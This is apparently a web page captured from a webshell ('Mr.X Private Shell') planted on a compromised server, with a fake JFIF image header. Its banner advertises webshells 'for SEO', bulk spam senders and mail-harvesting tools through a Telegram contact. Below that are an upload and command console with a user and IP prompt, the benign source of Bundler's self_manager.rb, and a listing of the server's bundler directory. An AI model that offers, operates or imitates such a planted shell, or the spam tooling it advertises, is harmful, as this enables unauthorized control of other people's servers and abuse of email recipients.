����JFIF��������� Mr.X 
  
  __  __    __   __  _____      _            _          _____ _          _ _ 
 |  \/  |   \ \ / / |  __ \    (_)          | |        / ____| |        | | |
 | \  / |_ __\ V /  | |__) | __ ___   ____ _| |_ ___  | (___ | |__   ___| | |
 | |\/| | '__|> <   |  ___/ '__| \ \ / / _` | __/ _ \  \___ \| '_ \ / _ \ | |
 | |  | | |_ / . \  | |   | |  | |\ V / (_| | ||  __/  ____) | | | |  __/ | |
 |_|  |_|_(_)_/ \_\ |_|   |_|  |_| \_/ \__,_|\__\___| |_____/|_| |_|\___V 2.1
 if you need WebShell for Seo everyday contact me on Telegram
 Telegram Address : @jackleet
        
        

            For_More_Tools:
            
                Telegram: @jackleet | Bulk Smtp support mail sender  | Business Mail Collector  |  Mail Bouncer All Mail | Bulk Office Mail Validator | Html Letter private

Upload:

Command:

fistvdlb@216.73.216.24: ~ $ 
# frozen_string_literal: true

module Bundler
  #
  # This class handles installing and switching to the version of bundler needed
  # by an application.
  #
  class SelfManager
    def restart_with_locked_bundler_if_needed
      restart_version = find_restart_version
      return unless restart_version && installed?(restart_version)

      restart_with(restart_version)
    end

    def install_locked_bundler_and_restart_with_it_if_needed
      restart_version = find_restart_version
      return unless restart_version

      if restart_version == lockfile_version
        Bundler.ui.info \
          "Bundler #{current_version} is running, but your lockfile was generated with #{lockfile_version}. " \
          "Installing Bundler #{lockfile_version} and restarting using that version."
      else
        Bundler.ui.info \
          "Bundler #{current_version} is running, but your configuration was #{restart_version}. " \
          "Installing Bundler #{restart_version} and restarting using that version."
      end

      install_and_restart_with(restart_version)
    end

    def update_bundler_and_restart_with_it_if_needed(target)
      spec = resolve_update_version_from(target)
      return unless spec

      version = spec.version

      Bundler.ui.info "Updating bundler to #{version}."

      install(spec) unless installed?(version)

      restart_with(version)
    end

    private

    def install_and_restart_with(version)
      requirement = Gem::Requirement.new(version)
      spec = find_latest_matching_spec(requirement)

      if spec.nil?
        Bundler.ui.warn "Your lockfile is locked to a version of bundler (#{lockfile_version}) that doesn't exist at https://rubygems.org/. Going on using #{current_version}"
        return
      end

      install(spec)
    rescue StandardError => e
      Bundler.ui.trace e
      Bundler.ui.warn "There was an error installing the locked bundler version (#{lockfile_version}), rerun with the `--verbose` flag for more details. Going on using bundler #{current_version}."
    else
      restart_with(version)
    end

    def install(spec)
      spec.source.download(spec)
      spec.source.install(spec)
    end

    def restart_with(version)
      configured_gem_home = ENV["GEM_HOME"]
      configured_orig_gem_home = ENV["BUNDLER_ORIG_GEM_HOME"]
      configured_gem_path = ENV["GEM_PATH"]
      configured_orig_gem_path = ENV["BUNDLER_ORIG_GEM_PATH"]

      argv0 = File.exist?($PROGRAM_NAME) ? $PROGRAM_NAME : Process.argv0
      cmd = [argv0, *ARGV]
      cmd.unshift(Gem.ruby) unless File.executable?(argv0)

      Bundler.with_original_env do
        Kernel.exec(
          {
            "GEM_HOME" => configured_gem_home,
            "BUNDLER_ORIG_GEM_HOME" => configured_orig_gem_home,
            "GEM_PATH" => configured_gem_path,
            "BUNDLER_ORIG_GEM_PATH" => configured_orig_gem_path,
            "BUNDLER_VERSION" => version.to_s,
          },
          *cmd
        )
      end
    end

    def needs_switching?(restart_version)
      autoswitching_applies? &&
        released?(restart_version) &&
        !running?(restart_version)
    end

    def autoswitching_applies?
      (ENV["BUNDLER_VERSION"].nil? || ENV["BUNDLER_VERSION"].empty?) &&
        ruby_can_restart_with_same_arguments? &&
        lockfile_version
    end

    def resolve_update_version_from(target)
      requirement = Gem::Requirement.new(target)
      update_candidate = find_latest_matching_spec(requirement)

      if update_candidate.nil?
        raise InvalidOption, "The `bundle update --bundler` target version (#{target}) does not exist"
      end

      resolved_version = update_candidate.version
      needs_update = requirement.specific? ? !running?(resolved_version) : running_older_than?(resolved_version)

      return unless needs_update

      update_candidate
    end

    def local_specs
      @local_specs ||= Bundler::Source::Rubygems.new("allow_local" => true).specs.select {|spec| spec.name == "bundler" }
    end

    def remote_specs
      @remote_specs ||= begin
        source = Bundler::Source::Rubygems.new("remotes" => "https://rubygems.org")
        source.remote!
        source.add_dependency_names("bundler")
        source.specs.select(&:matches_current_metadata?)
      end
    end

    def find_latest_matching_spec(requirement)
      Bundler.configure
      local_result = find_latest_matching_spec_from_collection(local_specs, requirement)
      return local_result if local_result && requirement.specific?

      remote_result = find_latest_matching_spec_from_collection(remote_specs, requirement)
      return remote_result if local_result.nil?

      [local_result, remote_result].max
    end

    def find_latest_matching_spec_from_collection(specs, requirement)
      specs.sort.reverse_each.find {|spec| requirement.satisfied_by?(spec.version) }
    end

    def running?(version)
      version == current_version
    end

    def running_older_than?(version)
      current_version < version
    end

    def released?(version)
      !version.to_s.end_with?(".dev")
    end

    def ruby_can_restart_with_same_arguments?
      $PROGRAM_NAME != "-e"
    end

    def installed?(restart_version)
      Bundler.configure

      Bundler.rubygems.find_bundler(restart_version.to_s)
    end

    def current_version
      @current_version ||= Bundler.gem_version
    end

    def lockfile_version
      return @lockfile_version if defined?(@lockfile_version)

      parsed_version = Bundler::LockfileParser.bundled_with
      @lockfile_version = parsed_version ? Gem::Version.new(parsed_version) : nil
    rescue ArgumentError
      @lockfile_version = nil
    end

    def find_restart_version
      return unless SharedHelpers.in_bundle?

      configured_version = Bundler.settings[:version]
      return if configured_version == "system"

      restart_version = configured_version == "lockfile" ? lockfile_version : Gem::Version.new(configured_version)
      return unless needs_switching?(restart_version)

      restart_version
    end
  end
end

Filemanager

DIR : / opt/ alt/ ruby40/ share/ gems/ gems/ bundler-4.0.10/ lib/ bundler/
Name Type Size Permission Actions
cli Folder 0755
compact_index_client Folder 0755
fetcher Folder 0755
installer Folder 0755
man Folder 0755
plugin Folder 0755
resolver Folder 0755
settings Folder 0755
source Folder 0755
templates Folder 0755
ui Folder 0755
vendor Folder 0755
build_metadata.rb File 1.24 KB 0644
capistrano.rb File 189 B 0644
checksum.rb File 7.26 KB 0644
ci_detector.rb File 3.72 KB 0644
cli.rb File 40.13 KB 0644
compact_index_client.rb File 2.97 KB 0644
constants.rb File 311 B 0644
current_ruby.rb File 3.07 KB 0644
definition.rb File 42.51 KB 0644
dependency.rb File 3.14 KB 0644
deployment.rb File 272 B 0644
deprecate.rb File 876 B 0644
digest.rb File 2.16 KB 0644
dsl.rb File 22.11 KB 0644
endpoint_specification.rb File 4.49 KB 0644
env.rb File 4.92 KB 0644
environment_preserver.rb File 1.44 KB 0644
errors.rb File 8.35 KB 0644
feature_flag.rb File 522 B 0644
fetcher.rb File 12 KB 0644
force_platform.rb File 544 B 0644
friendly_errors.rb File 3.8 KB 0644
gem_helper.rb File 6.88 KB 0644
gem_tasks.rb File 138 B 0644
gem_version_promoter.rb File 5.06 KB 0644
index.rb File 4.79 KB 0644
injector.rb File 9.97 KB 0644
inline.rb File 3.66 KB 0644
installer.rb File 9.24 KB 0644
lazy_specification.rb File 8.88 KB 0644
lockfile_generator.rb File 2.42 KB 0644
lockfile_parser.rb File 9.3 KB 0644
match_metadata.rb File 769 B 0644
match_platform.rb File 1.48 KB 0644
match_remote_metadata.rb File 863 B 0644
materialization.rb File 1.4 KB 0644
mirror.rb File 5.77 KB 0644
plugin.rb File 12.17 KB 0644
process_lock.rb File 554 B 0644
remote_specification.rb File 3.92 KB 0644
resolver.rb File 19.17 KB 0644
retry.rb File 2.44 KB 0644
ruby_dsl.rb File 2.6 KB 0644
ruby_version.rb File 4.57 KB 0644
rubygems_ext.rb File 14.11 KB 0644
rubygems_gem_installer.rb File 4.61 KB 0644
rubygems_integration.rb File 12.26 KB 0644
runtime.rb File 10.66 KB 0644
safe_marshal.rb File 597 B 0644
self_manager.rb File 5.92 KB 0644
settings.rb File 14.86 KB 0644
setup.rb File 1.36 KB 0644
shared_helpers.rb File 12.06 KB 0644
source.rb File 3.06 KB 0644
source_list.rb File 6.09 KB 0644
source_map.rb File 2.13 KB 0644
spec_set.rb File 9.55 KB 0644
stub_specification.rb File 3.48 KB 0644
ui.rb File 255 B 0644
uri_credentials_filter.rb File 1.29 KB 0644
uri_normalizer.rb File 715 B 0644
vendored_fileutils.rb File 101 B 0644
vendored_net_http.rb File 735 B 0644
vendored_persistent.rb File 197 B 0644
vendored_pub_grub.rb File 99 B 0644
vendored_securerandom.rb File 387 B 0644
vendored_thor.rb File 180 B 0644
vendored_timeout.rb File 209 B 0644
vendored_tsort.rb File 93 B 0644
vendored_uri.rb File 496 B 0644
version.rb File 500 B 0644
vlad.rb File 133 B 0644
worker.rb File 3.1 KB 0644
yaml_serializer.rb File 2.42 KB 0644

Copyright reserved © 2026 xtooler.online Shell Coded By Mr.X